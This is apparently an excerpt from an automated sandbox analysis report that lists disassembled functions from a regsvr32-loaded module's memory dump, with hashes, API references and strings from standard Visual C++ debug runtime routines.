Opcode Fuzzy Hash: 2a7d659c8e5e6b28fc7c58fcf8e8579ea91b99a8d6af850dbdc893ea63a98b90
Instruction Fuzzy Hash: 20F1E872A0DAC58AE7B18B55E8417AFB7E0F784346F200125E6C987AE9EB7DD440CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32D80 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 310COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32E31
_invalid_parameter.LIBCMTD ref: 000007FEF9D32F63
_invalid_parameter.LIBCMTD ref: 000007FEF9D330E4
_invalid_parameter.LIBCMTD ref: 000007FEF9D3327B

Strings

(((_Src))) != NULL, xrefs: 000007FEF9D32EFF, 000007FEF9D32F5C
(L"Buffer is too small" && 0), xrefs: 000007FEF9D33217, 000007FEF9D33274
(L"String is not null terminated" && 0), xrefs: 000007FEF9D33080, 000007FEF9D330DD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D32DE2, 000007FEF9D32E1C, 000007FEF9D32F14, 000007FEF9D32F4E, 000007FEF9D33095, 000007FEF9D330CF, 000007FEF9D3322C, 000007FEF9D33266
wcscat_s, xrefs: 000007FEF9D32E23, 000007FEF9D32F55, 000007FEF9D330D6, 000007FEF9D3326D
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D32DCD, 000007FEF9D32E2A
String is not null terminated, xrefs: 000007FEF9D3304D
Buffer is too small, xrefs: 000007FEF9D331DB

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$wcscat_s
API String ID: 2123368286-3477667311
Opcode ID: b8fc4c6395d55294f14e808969fd0dde924ec27b835ffc5b45b9a86212572efe
Instruction ID: b03569ffd57b7167c314fdf02ed50a447cb54ce8ebbf145893a20e686b3b9740
Opcode Fuzzy Hash: b8fc4c6395d55294f14e808969fd0dde924ec27b835ffc5b45b9a86212572efe
Instruction Fuzzy Hash: BFF13832A0DB8685EBE08B19E94476EA3E0F385795F604535D6DE83BA8DF7ED044CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D369C0 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 303COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D36A71
_invalid_parameter.LIBCMTD ref: 000007FEF9D36B9D
_invalid_parameter.LIBCMTD ref: 000007FEF9D36D17
_invalid_parameter.LIBCMTD ref: 000007FEF9D36EA5

Strings

(((_Src))) != NULL, xrefs: 000007FEF9D36B39, 000007FEF9D36B96
(L"Buffer is too small" && 0), xrefs: 000007FEF9D36E41, 000007FEF9D36E9E
(L"String is not null terminated" && 0), xrefs: 000007FEF9D36CB3, 000007FEF9D36D10
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D36A22, 000007FEF9D36A5C, 000007FEF9D36B4E, 000007FEF9D36B88, 000007FEF9D36CC8, 000007FEF9D36D02, 000007FEF9D36E56, 000007FEF9D36E90
strcat_s, xrefs: 000007FEF9D36A63, 000007FEF9D36B8F, 000007FEF9D36D09, 000007FEF9D36E97
String is not null terminated, xrefs: 000007FEF9D36C80
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D36A0D, 000007FEF9D36A6A
Buffer is too small, xrefs: 000007FEF9D36E05

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$strcat_s
API String ID: 2123368286-1420200500
Opcode ID: 0735035b45f8f7c7b818c7081b0ef0632545b94255aff591ce5d43235ef3c046
Instruction ID: c5de73825737ff17a6e05e0685af1bba33d69fc1e3bcf908defeea2cf04d7043
Opcode Fuzzy Hash: 0735035b45f8f7c7b818c7081b0ef0632545b94255aff591ce5d43235ef3c046
Instruction Fuzzy Hash: A9F15A32A0DB8A89FBA08B14E84576EA7E0F385395FA04535D6DD43BA8DF3ED044CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C30D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C315
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3C322
_invalid_parameter.LIBCMTD ref: 000007FEF9D3C3CC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3C3E1
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3C37A, 000007FEF9D3C3B7
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
("'n' format specifier disabled", 0), xrefs: 000007FEF9D3C365, 000007FEF9D3C3C5
_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3C3BE
-, xrefs: 000007FEF9D3CA54

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_argwctomb_s
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2560055391-3497434347
Opcode ID: f7e31fddf96ab2d989b429fa4fac32de28ca989592260db18f40bb78f450a6ea
Instruction ID: 46d09667909aa5f7b215aa93bab53907018271778d835aa8b5e6ab3fef1b3364
Opcode Fuzzy Hash: f7e31fddf96ab2d989b429fa4fac32de28ca989592260db18f40bb78f450a6ea
Instruction Fuzzy Hash: 3BC12D72A0C7C686E7B19B64E8457BEB7E4F384785F604025DAC887AA9DB7DE540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39290 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 142COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D392B6
__doserrno.LIBCMTD ref: 000007FEF9D39341
_invalid_parameter.LIBCMTD ref: 000007FEF9D3937B

Strings

_lseeki64, xrefs: 000007FEF9D3936D, 000007FEF9D3943C
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3930C, 000007FEF9D39374
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D394D2
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D393DB, 000007FEF9D39443
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39321, 000007FEF9D39366, 000007FEF9D393F0, 000007FEF9D39435, 000007FEF9D394E7

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_lseeki64$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 747159061-1442092225
Opcode ID: ef8329fd12da17d600f4f9f1cced5d5e2c2be82d60747835616dff46824e4e92
Instruction ID: caaad020489782614700f882d8602b34381ead5b625f1b09b5848be00580b1cf
Opcode Fuzzy Hash: ef8329fd12da17d600f4f9f1cced5d5e2c2be82d60747835616dff46824e4e92
Instruction Fuzzy Hash: 28617C72A1C646CAE7909B25EC4076E72E1F380765F604725E6ED47AF9DB7EE440CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B12B Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 99COMMON

Download Yara Rule

APIs

_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2B2DB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B339
_exit.LIBCMTD ref: 000007FEF9D2B378

Strings

(*_errno()), xrefs: 000007FEF9D2B2C7
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B2AF, 000007FEF9D2B322
__crtMessageWindowA, xrefs: 000007FEF9D2B2BB, 000007FEF9D2B329
..., xrefs: 000007FEF9D2B167
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269
Module: , xrefs: 000007FEF9D2B192

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _exit_invoke_watson_if_error_invoke_watson_if_oneof
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1778837556-2487400587
Opcode ID: 577a98effe66048d1b02d2ce2304ffee9433b0bc14e646f7048145a1ac209acc
Instruction ID: 47630d5eafba837dbe703c3de9865bf662ca48ff4c989782bbe983e1f30135bf
Opcode Fuzzy Hash: 577a98effe66048d1b02d2ce2304ffee9433b0bc14e646f7048145a1ac209acc
Instruction Fuzzy Hash: 7851C476608AC591E774DB18F8803EEB3E1F788394F604126EACD43AA9DB7ED154CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C435 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
DecodePointer.KERNEL32 ref: 000007FEF9D3C5C6
DecodePointer.KERNEL32 ref: 000007FEF9D3C63A
DecodePointer.KERNEL32 ref: 000007FEF9D3C685
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB
-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3C4CE

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameterwctomb_s
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 83251219-3442986447
Opcode ID: 001a85c562113ca4b869716a344f10cda0261345211a969ed6127680fca34cae
Instruction ID: db55a7b1c5e8f8ba017cd25dadef4e5d7f369c86b420bd695ab78b9edef6402a
Opcode Fuzzy Hash: 001a85c562113ca4b869716a344f10cda0261345211a969ed6127680fca34cae
Instruction Fuzzy Hash: 49F1D87260CBC186E7B18B25E8947AEB7E4F384785F604125EACD87AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D407C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 141COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D40880

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c, xrefs: 000007FEF9D40831, 000007FEF9D4086B, 000007FEF9D408F3, 000007FEF9D4092D, 000007FEF9D409F5
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D409E0
_commit, xrefs: 000007FEF9D40872, 000007FEF9D40934
(_osfile(filedes) & FOPEN), xrefs: 000007FEF9D408DE, 000007FEF9D4093B
(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle), xrefs: 000007FEF9D4081C, 000007FEF9D40879

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(filedes) & FOPEN)$(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle)$_commit$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c
API String ID: 2123368286-2816485415
Opcode ID: a9ecfc86665cfe11dfc030c63538da66c5eec56c542ce672bdc8af4c2c9759d0
Instruction ID: e049fe60bfe8b909c44bc6b291fed8ca56badbc40bca4273ec712473172458ea
Opcode Fuzzy Hash: a9ecfc86665cfe11dfc030c63538da66c5eec56c542ce672bdc8af4c2c9759d0
Instruction Fuzzy Hash: 72617B71A1C6468AE7909B28EC4176E73E1F780354F608225E6DE57AF5D77EE440CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40A20 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D40A33
__doserrno.LIBCMTD ref: 000007FEF9D40ABC
_invalid_parameter.LIBCMTD ref: 000007FEF9D40AF6

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c, xrefs: 000007FEF9D40A9C, 000007FEF9D40AE1, 000007FEF9D40B69, 000007FEF9D40BAE, 000007FEF9D40C47
_close, xrefs: 000007FEF9D40AE8, 000007FEF9D40BB5
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D40A87, 000007FEF9D40AEF
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D40C32
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D40B54, 000007FEF9D40BBC

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_close$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c
API String ID: 747159061-2992490823
Opcode ID: 145745de55703435efe457d343042b6d2b79a4b89ecca71574c94757b3ea27c1
Instruction ID: a54d4eac887ae6c515e29e2b1085f50a353430ba1ba5378d93a4f051e541eccc
Opcode Fuzzy Hash: 145745de55703435efe457d343042b6d2b79a4b89ecca71574c94757b3ea27c1
Instruction Fuzzy Hash: 38515C71A186468AE7909B29EC8176E73E2F780758F608225E6DD476F5D77EE400CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E2FC Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E304
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3E311
_invalid_parameter.LIBCMTD ref: 000007FEF9D3E3BB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3E3D0

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3E369, 000007FEF9D3E3A6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
("'n' format specifier disabled", 0), xrefs: 000007FEF9D3E354, 000007FEF9D3E3B4
_woutput_s_l, xrefs: 000007FEF9D3DBD6, 000007FEF9D3E3AD

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_arg
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1328470723-1899493600
Opcode ID: f6969a0051e08e9fb172d17dbb699df528c09bf6843d3bd9f9f4304ac6550dc4
Instruction ID: 35246ecaaba514364cbfc4328619620b6524a9f29049ac5612c0b139108759f7
Opcode Fuzzy Hash: f6969a0051e08e9fb172d17dbb699df528c09bf6843d3bd9f9f4304ac6550dc4
Instruction Fuzzy Hash: 41C10D72A0CAC286E7B19B55E8407AFB7E0F384346F600125E6C987AE9DB7DE444CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2EFB0 Relevance: 16.7, APIs: 11, Instructions: 200memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F094
malloc.LIBCMTD ref: 000007FEF9D2F0E7
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F0F4
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F150
LCMapStringW.KERNEL32 ref: 000007FEF9D2F18D

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringmalloc
String ID:
API String ID: 2352934578-0
Opcode ID: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction ID: 07e98e5d3e74dc1edba9ed484819fff5a1f4d1c282268086727bfc73f0da1f11
Opcode Fuzzy Hash: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction Fuzzy Hash: E8B1D73690C7818AE7A0CB5AE84476FB7E0F789754F214525EAC983BA8DB7ED444CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33380 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 330COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3345E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3362A

Strings

(((_Src))) != NULL, xrefs: 000007FEF9D335C6, 000007FEF9D33623
(L"Buffer is too small" && 0), xrefs: 000007FEF9D3387E, 000007FEF9D338DB
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D333FA, 000007FEF9D33457
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl, xrefs: 000007FEF9D3340F, 000007FEF9D33449, 000007FEF9D335DB, 000007FEF9D33615, 000007FEF9D336EB, 000007FEF9D33893, 000007FEF9D338CD
wcsncpy_s, xrefs: 000007FEF9D33450, 000007FEF9D3361C, 000007FEF9D338D4
Buffer is too small, xrefs: 000007FEF9D336D6, 000007FEF9D3384B

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl$wcsncpy_s
API String ID: 2123368286-322314505
Opcode ID: 3bb9d1a90c7c3446087a29b367bd8117c888f0c96a3fbe465b5df790d7333f4b
Instruction ID: 6d338823bc0f2b3e781b71aef6a49b7720da2244df946e2498ce1ac2f83d5b49
Opcode Fuzzy Hash: 3bb9d1a90c7c3446087a29b367bd8117c888f0c96a3fbe465b5df790d7333f4b
Instruction Fuzzy Hash: BE023F32A0CB8585EBF09B29E94476EA3E0F385795F604625D6DD83BE5DF3ED0848B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E424 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
DecodePointer.KERNEL32 ref: 000007FEF9D3E5B6
DecodePointer.KERNEL32 ref: 000007FEF9D3E62A
DecodePointer.KERNEL32 ref: 000007FEF9D3E675

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3E4BE

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1139040907-3988320827
Opcode ID: 4175f3561072ab378176a1e1f92056bf5caba3e85f41217d234b1a14ff64e00d
Instruction ID: 3e7729e9fa2df8fbd66d26b0c41d9f273e3b14a95de5485bb8cc9613adf332ea
Opcode Fuzzy Hash: 4175f3561072ab378176a1e1f92056bf5caba3e85f41217d234b1a14ff64e00d
Instruction Fuzzy Hash: 48F1E972A0CAC18AE7A08B55E8407AFB7E0F385746F600126E6CD87AA9DB7DD444CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31640 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 233COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D316F1
_invalid_parameter.LIBCMTD ref: 000007FEF9D31823
_invalid_parameter.LIBCMTD ref: 000007FEF9D319CB

Strings

wcscpy_s, xrefs: 000007FEF9D316E3, 000007FEF9D31815, 000007FEF9D319BD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D316A2, 000007FEF9D316DC, 000007FEF9D317D4, 000007FEF9D3180E, 000007FEF9D3197C, 000007FEF9D319B6
(((_Src))) != NULL, xrefs: 000007FEF9D317BF, 000007FEF9D3181C
(L"Buffer is too small" && 0), xrefs: 000007FEF9D31967, 000007FEF9D319C4
